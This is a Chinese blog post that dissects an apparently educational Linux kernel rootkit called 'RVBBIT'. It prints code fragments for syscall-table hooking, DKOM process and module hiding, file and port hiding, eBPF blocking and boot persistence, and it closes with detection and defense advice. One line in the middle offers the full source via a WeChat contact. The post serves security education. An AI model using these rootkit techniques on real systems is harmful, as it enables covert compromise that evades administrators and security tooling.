很多人一听到Rootkit就觉得"这是黑客才需要学的东西"。其实不然——做防御的人,必须比攻击者更懂攻击。你只有知道恶意软件是怎么把自己藏进内核、怎么骗过系统管理员的眼睛,才能写出更有效的检测工具、制定更完善的防护策略。
今天我们要拆的这套代码叫 Project RVBBIT,是一个专门用于安全教育的Linux内核Rootkit演示项目。注意,作者已经把挖矿、蠕虫传播等真正危险的功能全部阉割掉了,留下的只有"隐身术"本身。这就像是把一把真枪的子弹卸了,只留下枪的结构供人研究——学的是原理,不是作恶。
一、RVBBIT到底在干嘛?一句话总结
想象这样一个场景:你是一名Linux系统管理员,某天服务器有点卡,你习惯性地敲下 ps aux 看进程、ls 看文件、netstat 看端口、lsmod 看加载了哪些内核模块。结果一切正常,什么都没有。但其实,内核里早就住进了一个"房客",它把自己的痕迹从所有这些命令的输出里抹掉了。
这就是RVBBIT演示的核心能力——**让恶意模块在系统中"物理存在,逻辑消失"**。
二、五大隐身术逐个拆解
技术1:系统调用劫持(Syscall Hooking)—— 篡改操作系统的"接线板"
大白话解释
Linux内核里有一张"大表格",叫系统调用表(System Call Table)。用户程序每次调用 kill()、open()、read() 这些函数,最终都会查这张表,找到内核里对应的真正实现函数,然后跳过去执行。
Rootkit的做法简单粗暴:把这张表里的某些条目,替换成自己写的假函数。这样一来,所有程序调用这些系统功能时,都会先经过Rootkit的"检查站"。Rootkit想让你看到什么,你就只能看到什么。
代码怎么实现的?
// 第一步:找到系统调用表的位置
sys_call_table = find_sys_call_table();
// 第二步:关闭写保护(否则内核内存不让改)
write_cr0(read_cr0() & ~0x10000);
// 第三步:备份原始指针,然后替换
orig_kill = (void *)sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = (unsignedlong *)hook_kill;
// 第四步:恢复写保护
write_cr0(read_cr0() | 0x10000);
这里有个关键知识点:write_cr0() 操作的是CPU的 CR0控制寄存器,其中第16位叫 WP位(Write Protect)。当这一位为1时,CPU会阻止对只读内存页的写入。内核代码段通常是被标记为只读的,所以Rootkit需要先清零这一位,改完系统调用表,再把它置回去。
知识点总结:
- 系统调用表(System Call Table):内核中存放所有系统调用函数指针的数组,是用户空间进入内核空间的"大门"。
- CR0寄存器/WP位:x86架构的内存保护机制,控制是否允许向只读页写入数据。
- kallsyms:内核符号表,用于在运行时查找内核函数和变量的地址。RVBBIT通过
register_kprobe 来动态获取符号地址,避免硬编码地址导致的兼容性问题。
技术2:DKOM(Direct Kernel Object Manipulation)—— 直接从内核数据结构里"抠掉"记录
大白话解释
如果说系统调用劫持是"改地图",那DKOM就是"改户口册"。Linux内核内部用大量的双向链表来管理进程、模块、网络连接等对象。比如所有进程都挂在 task_struct 的 tasks 链表上,所有内核模块都挂在 module 的链表上。
Rootkit不需要阻止系统去查这些链表,它直接把自己从链表里删掉。链表断了环,遍历的时候就根本走不到Rootkit头上。这就好比你在公司花名册上把自己那页撕了,HR查名册时自然就看不到你。
代码怎么实现的?
隐藏进程:
staticvoidhide_process(int pid){
structtask_struct *task = pid_task(find_vpid(pid), PIDTYPE_PID);
if (task) {
list_del(&task->tasks); // 从全局进程链表中摘除
list_del(&task->sibling); // 从父进程的子进程链表中摘除
task->pid_links[PIDTYPE_PID] = NULL;
}
}
隐藏模块自身:
staticvoidhide_module(void){
mutex_lock(&module_mutex);
list_del(&__this_module.list); // 从模块链表中摘除
mutex_unlock(&module_mutex);
kobject_del(&__this_module.mkobj.kobj); // 从sysfs中删除kobject
strncpy(__this_module.name, "acpi", sizeof(__this_module.name) - 1); // 改名伪装
}
If you need the complete source code, please add the WeChat number (c17865354792)
知识点总结:
- task_struct:Linux内核中描述进程的核心数据结构,包含了进程的所有状态和链接信息。
- **list_del()**:Linux内核链表操作宏,用于将节点从双向链表中移除。注意它不会释放内存,只是断链。
- kobject / sysfs:Linux的设备模型基础,
kobject_del() 会从 /sys/module/ 目录下移除对应的条目,让 lsmod 等工具看不到。 - PID命名空间(PID Namespace):
find_vpid() 用于在PID命名空间中查找任务,现代容器化环境中尤为重要。
技术3:文件与端口隐藏 —— 在数据返回用户空间之前"动手脚"
大白话解释
系统调用劫持给了Rootkit一个绝佳的"中间商赚差价"的机会。它可以在内核把数据拷贝回用户空间之前,先把敏感信息过滤掉。
文件隐藏(hook_getdents64)
getdents64 是 ls 命令最终调用的系统调用,用于读取目录内容。Rootkit的钩子会遍历返回的目录项数组,把文件名包含特定前缀的条目整个删掉,然后把后面的条目往前挪,补上空洞。
static asmlinkage longhook_getdents64(const struct pt_regs *regs){
long ret = orig_getdents64(regs); // 先调用原版,拿到真实数据
structlinux_dirent64 *dir = (structlinux_dirent64 *)regs->si;
while (offset < ret) {
dir = (struct linux_dirent64 *)(regs->si + offset);
if (strstr(dir->d_name, hide_prefix) != NULL) {
// 发现了要隐藏的文件!把它从结果里抹掉
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret - offset);
} else {
offset += dir->d_reclen;
}
}
return ret; // 返回修改后的(变小的)数据量
}
端口隐藏(hook_tcp4_seq_show)
/proc/net/tcp 文件显示当前TCP连接,它是由内核的 tcp4_seq_show 函数生成的。RVBBIT直接篡改这个函数的指针,让它在打印到3333端口的连接时直接返回0(什么都不输出)。
staticinthook_tcp4_seq_show(struct seq_file *seq, void *v){
structsock *sk = v;
if (sk && sk->sk_num == 3333)
return0; // 3333端口的连接?当没看见!
return orig_tcp4_seq_show(seq, v); // 其他的正常显示
}
知识点总结:
- linux_dirent64:目录项结构体,包含文件名、inode号、记录长度等信息。
- memmove:用于在内存中移动数据块,这里用来"填补"被删除目录项留下的空洞。
- seq_file:Linux内核中用于生成/proc和/sys文件内容的抽象接口,
tcp4_seq_show 就是用它来格式化输出TCP连接信息的。
技术4:eBPF拦截 —— 阻止新一代检测工具
大白话解释
eBPF(Extended Berkeley Packet Filter)是Linux内核近几年最火的动态追踪技术。安全厂商可以用eBPF程序实时监控进程创建、文件访问、网络连接等事件。Rootkit当然不能坐视不管——它直接禁止任何eBPF程序加载。
static asmlinkage longhook_bpf(const struct pt_regs *regs){
int cmd = regs->di;
if (cmd == BPF_PROG_LOAD)
return -EPERM; // 想加载eBPF程序?权限不足,拒绝!
return orig_bpf(regs);
}
知识点总结:
- eBPF:一种在内核中运行沙箱化代码的机制,被广泛用于网络过滤、性能追踪和安全监控。
- BPF_PROG_LOAD:加载eBPF程序的系统调用命令字。拦截这个命令,就等于关掉了所有eBPF工具的大门。
- -EPERM:Linux错误码,表示"操作不被允许"。
技术5:持久化与伪装 —— 重启后还能"阴魂不散"
大白话解释
会隐身的刺客不可怕,可怕的是他还能自动复活。RVBBIT通过两条路径实现持久化:
**/etc/modules-load.d/acpi.conf**:这是一个系统启动时自动加载内核模块的配置文件。Rootkit把自己的模块名写进去,并伪装成ACPI(电源管理)相关的模块。
**/etc/systemd/system/rvbbit-helper.service**:创建一个systemd服务单元,同样打着"ACPI Helper"的旗号,每次开机都会执行 insmod 重新加载Rootkit。
staticvoidinstall_persistence(void){
// 写入 modules-load.d
f = filp_open("/etc/modules-load.d/acpi.conf", O_CREAT | O_WRONLY | O_TRUNC, 0644);
kernel_write(f, "rvbbit\n", strlen("rvbbit\n"), &f->f_pos);
// 创建 systemd 服务
f = filp_open("/etc/systemd/system/rvbbit-helper.service", ...);
kernel_write(f, service_data, strlen(service_data), &f->f_pos);
// 启用服务
char *argv_enable[] = { "/bin/systemctl", "enable", "rvbbit-helper.service", NULL };
call_usermodehelper(argv_enable[0], argv_enable, NULL, UMH_WAIT_PROC);
}
知识点总结:
- modules-load.d:systemd时代的内核模块自动加载机制,配置文件放在这里会在启动早期被加载。
- call_usermodehelper:内核调用用户空间程序的接口,Rootkit用它来执行
systemctl enable 命令。 - UMH_WAIT_PROC:表示内核会等待用户空间进程执行完毕。
- 内核线程上下文:
kernel_write 和 filp_open 是在内核线程中直接操作文件系统的API,绕过了用户空间的权限检查。
三、一张图看懂RVBBIT的完整工作流程
在这里插入图片描述上图把整个Rootkit的生命周期分成了五个阶段:
| | |
|---|
| | |
| | |
| | |
| kill信号控制隐藏、getdents64过滤文件、openat阻止访问、bpf拦截eBPF | |
| 写入modules-load.d和systemd服务 | |
四、这些技术涉及了哪些知识领域?
把RVBBIT拆开来看,它几乎覆盖了Linux内核安全的核心战场:
1. 操作系统内核架构
- 系统调用机制、中断处理、CPU特权级(Ring 0 vs Ring 3)
- 内核内存布局、代码段/数据段保护、CR0控制寄存器
2. Linux内核数据结构
- 进程管理:
task_struct、pid_namespace、进程链表 - 模块管理:
struct module、kobject、sysfs文件系统 - 网络栈:
struct sock、seq_file、/proc/net/tcp 的生成机制
3. 内核编程与并发
- 内核锁机制:
mutex_lock/unlock(模块互斥锁) - 内核工作队列:
workqueue_struct、delayed_work(用于定时任务) - 内存操作:
kmalloc/kfree、memmove、strncpy_from_user
4. 安全攻防技术
- Rootkit检测对抗:反eBPF、反静态签名(随机前缀)
5. 硬件与架构知识
- x86_64架构的CR0寄存器、WP位、内存分页保护
6. 系统管理基础
五、怎么防?知己知彼才能百战不殆
了解完攻击手法,最后简单聊聊防御思路:
监控系统调用表完整性:通过只读内存映射或硬件辅助虚拟化(如Intel VT-x)保护系统调用表不被篡改。
交叉验证:不要只信一个信息源。ps 看不到的进程,可以用 auditd 审计日志、eBPF 追踪、/proc/[pid]/stat 直接读取来交叉验证。
内核完整性保护:启用 Secure Boot、IMA(Integrity Measurement Architecture)、Kernel Lockdown 模式,防止未签名模块加载。
检测DKOM:遍历进程时不仅看链表,还要检查PID哈希表(pid_hash),因为DKOM通常只删链表不删哈希表。
监控eBPF加载失败事件:如果系统频繁出现 BPF_PROG_LOAD 返回 -EPERM,这本身就是异常信号。
文件系统审计:对 /etc/modules-load.d/、/etc/systemd/system/ 等关键目录启用变更监控(如 aide、auditd、osquery)。
六、代码测试
# 1. 加载模块(此时模块会隐身)
sudo insmod rvbbit.ko
# 2. 验证隐身效果
lsmod | grep rvbbit # 应该看不到(模块自隐藏了)
ps aux | grep rvbbit # 应该看不到(进程隐藏)
ls /lib/modules/$(uname -r)/kernel/drivers/acpi/ # 看看有没有隐藏的文件
# 3. 触发隐藏/显示(通过kill信号)
sudo kill -64 <PID> # 隐藏指定PID
sudo kill -63 <PID> # 显示指定PID
# 4. 卸载模块(cleanup)
sudo rmmod rvbbit # 或者用模块的真实名字,如果知道的话
总结
Project RVBBIT 是一个非常典型的现代 Linux Rootkit 样本。
它不像老式 Rootkit 那样粗暴地替换 ls 或 ps 命令(用户态 Rootkit),而是直接深入内核(Kernel态),修改系统最底层的逻辑。它让真相在诞生之初就被扼杀,你看到的“干净”系统,其实早已被它控制。
防御建议: 这种级别的攻击,普通的杀毒软件很难防。通常需要通过内核完整性检查(如 IMA/EVM)、基于硬件的验证(如 TPM) 或者 双系统比对 才能发现端倪。
Welcome to follow WeChat official account【程序猿编码】